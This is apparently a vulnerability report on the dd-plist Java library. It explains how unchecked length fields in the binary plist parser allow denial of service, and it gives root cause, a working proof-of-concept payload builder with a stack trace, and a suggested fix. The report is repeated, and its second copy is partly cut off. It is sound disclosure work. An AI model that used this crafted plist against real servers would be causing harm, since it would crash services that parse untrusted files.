Summary
BinaryPropertyListParser.readLengthAndOffset() reads element counts and data lengths from the binary plist stream without validating them against the actual data size. A crafted 71-byte binary plist can declare an array with 2+ billion elements, causing new NSObject[2147483632] which exhausts the JVM heap and crashes the application with OutOfMemoryError.
Affected Versions
All versions including the latest (1.29.0). The binary plist parser has never had length validation.
Root Cause
In BinaryPropertyListParser.java, readLengthAndOffset() reads the element count from the binary plist's extended length field and returns it directly. The callers — parseArray(), parseDictionary(),parseData(), parseString() — use this value to allocate arrays and byte buffers without checking whether the declared length is physically plausible given the remaining data.
parseArray:
int[] lengthAndOffset = this.readLengthAndOffset(objInfo, offset);
int length = lengthAndOffset[0]; // attacker-controlled, can be up to Integer.MAX_VALUE
NSArray array = new NSArray(length); // allocates new NSObject[length] immediately
NSArray constructor:
public NSArray(int length) {
this.array = new NSObject[length]; // massive allocation before any element validation
}
The same pattern applies to:
- parseDictionary() — unbounded loop count over attacker-controlled length
- parseData() — copyOfRange(bytes, start, start + length) with attacker-controlled length
- parseString() — bounds-check bypass via integer overflow (strOffset + length > bytes.length overflows for large values)
Proof of Concept
Minimal binary plist (71 bytes) that crashes any application using dd-plist:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write("bplist00".getBytes("ASCII")); // header
bos.write(0xAF); // NSArray + extended length
bos.write(0x12); // int type, 4-byte length
bos.write(new byte[]{0x7F, (byte)0xFF, (byte)0xFF, (byte)0xF0}); // 2,147,483,632 elements
bos.write(new byte[24]); // padding
bos.write(0x08); // offset table
byte[] trailer = new byte[32];
trailer[6] = 0x01; trailer[7] = 0x01; trailer[15] = 0x01; trailer[31] = 38;
bos.write(trailer);
// This crashes with OutOfMemoryError:
PropertyListParser.parse(bos.toByteArray());
##Result:
java.lang.OutOfMemoryError: Java heap space
at com.dd.plist.NSArray.(NSArray.java:45)
at com.dd.plist.BinaryPropertyListParser.parseObject(BinaryPropertyListParser.java:283)
at com.dd.plist.BinaryPropertyListParser.doParse(BinaryPropertyListParser.java:141)
at com.dd.plist.BinaryPropertyListParser.parse(BinaryPropertyListParser.java:87)
at com.dd.plist.PropertyListParser.parse(PropertyListParser.java:240)
Additional findings
- Integer overflow in bounds checks — strOffset + length > bytes.length and dataOffset + length > bytes.length overflow silently for large values, bypassing the bounds check entirely.
- BinaryPropertyListParser stack overflow — parseObject() recurses for nested arrays/dicts with no depth limit. The ParsedObjectStack detects self-references but not depth. ~300 levels of nesting cause
StackOverflowError (also uncatchable).
- XMLPropertyListParser stack overflow — parseObject() recurses through dict/array elements with no depth limit. 5000 nested elements cause StackOverflowError.
Impact
Any application that parses untrusted binary plists via dd-plist is vulnerable to denial of service. OutOfMemoryError extends Error (not Exception), so standard exception handling cannot catch it. Depending on the application, this can crash the entire JVM process.
dd-plist is widely used by MDM servers, CI/CD tools, and any Java application that processes Apple property lists. A crafted .plist or .ipa file containing a malicious binary plist can crash the server.
Suggested Fix
Add a sanity check in readLengthAndOffset():
if (lengthValue > this.bytes.length) {
throw new PropertyListFormatException(
"Declared length " + lengthValue + " at offset " + offset +
" exceeds data size " + this.bytes.length);
}
Additionally:
- Use Math.addExact() / Math.multiplyExact() for offset arithmetic to detect integer overflow
- Add a depth limit to parseObject() recursion (e.g., max 512 levels)
- Add a depth limit to XMLPropertyListParser.parseObject() as well
Environment
- dd-plist version: 1.28.0 and 1.29.0 (tested both, both vulnerable)
- Java: OpenJDK 11.0.30
- OS: Windows 10 / Linux (WSL2)
Summary
BinaryPropertyListParser.readLengthAndOffset() reads element counts and data lengths from the binary plist stream without validating them against the actual data size. A crafted 71-byte binary plist can declare an array with 2+ billion elements, causing new NSObject[2147483632] which exhausts the JVM heap and crashes the application with OutOfMemoryError.
Affected Versions
All versions including the latest (1.29.0). The binary plist parser has never had length validation.
Root Cause
In BinaryPropertyListParser.java, readLengthAndOffset() reads the element count from the binary plist's extended length field and returns it directly. The callers — parseArray(), parseDictionary(),parseData(), parseString() — use this value to allocate arrays and byte buffers without checking whether the declared length is physically plausible given the remaining data.
parseArray:
int[] lengthAndOffset = this.readLengthAndOffset(objInfo, offset);
int length = lengthAndOffset[0]; // attacker-controlled, can be up to Integer.MAX_VALUE
NSArray array = new NSArray(length); // allocates new NSObject[length] immediately
NSArray constructor:
public NSArray(int length) {
this.array = new NSObject[length]; // massive allocation before any element validation
}
The same pattern applies to:
Proof of Concept
Minimal binary plist (71 bytes) that crashes any application using dd-plist:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write("bplist00".getBytes("ASCII")); // header
bos.write(0xAF); // NSArray + extended length
bos.write(0x12); // int type, 4-byte length
bos.write(new byte[]{0x7F, (byte)0xFF, (byte)0xFF, (byte)0xF0}); // 2,147,483,632 elements
bos.write(new byte[24]); // padding
bos.write(0x08); // offset table
byte[] trailer = new byte[32];
trailer[6] = 0x01; trailer[7] = 0x01; trailer[15] = 0x01; trailer[31] = 38;
bos.write(trailer);
// This crashes with OutOfMemoryError:
PropertyListParser.parse(bos.toByteArray());
##Result:
java.lang.OutOfMemoryError: Java heap space
at com.dd.plist.NSArray.(NSArray.java:45)
at com.dd.plist.BinaryPropertyListParser.parseObject(BinaryPropertyListParser.java:283)
at com.dd.plist.BinaryPropertyListParser.doParse(BinaryPropertyListParser.java:141)
at com.dd.plist.BinaryPropertyListParser.parse(BinaryPropertyListParser.java:87)
at com.dd.plist.PropertyListParser.parse(PropertyListParser.java:240)
Additional findings
StackOverflowError (also uncatchable).
Impact
Any application that parses untrusted binary plists via dd-plist is vulnerable to denial of service. OutOfMemoryError extends Error (not Exception), so standard exception handling cannot catch it. Depending on the application, this can crash the entire JVM process.
dd-plist is widely used by MDM servers, CI/CD tools, and any Java application that processes Apple property lists. A crafted .plist or .ipa file containing a malicious binary plist can crash the server.
Suggested Fix
Add a sanity check in readLengthAndOffset():
if (lengthValue > this.bytes.length) {
throw new PropertyListFormatException(
"Declared length " + lengthValue + " at offset " + offset +
" exceeds data size " + this.bytes.length);
}
Additionally:
Environment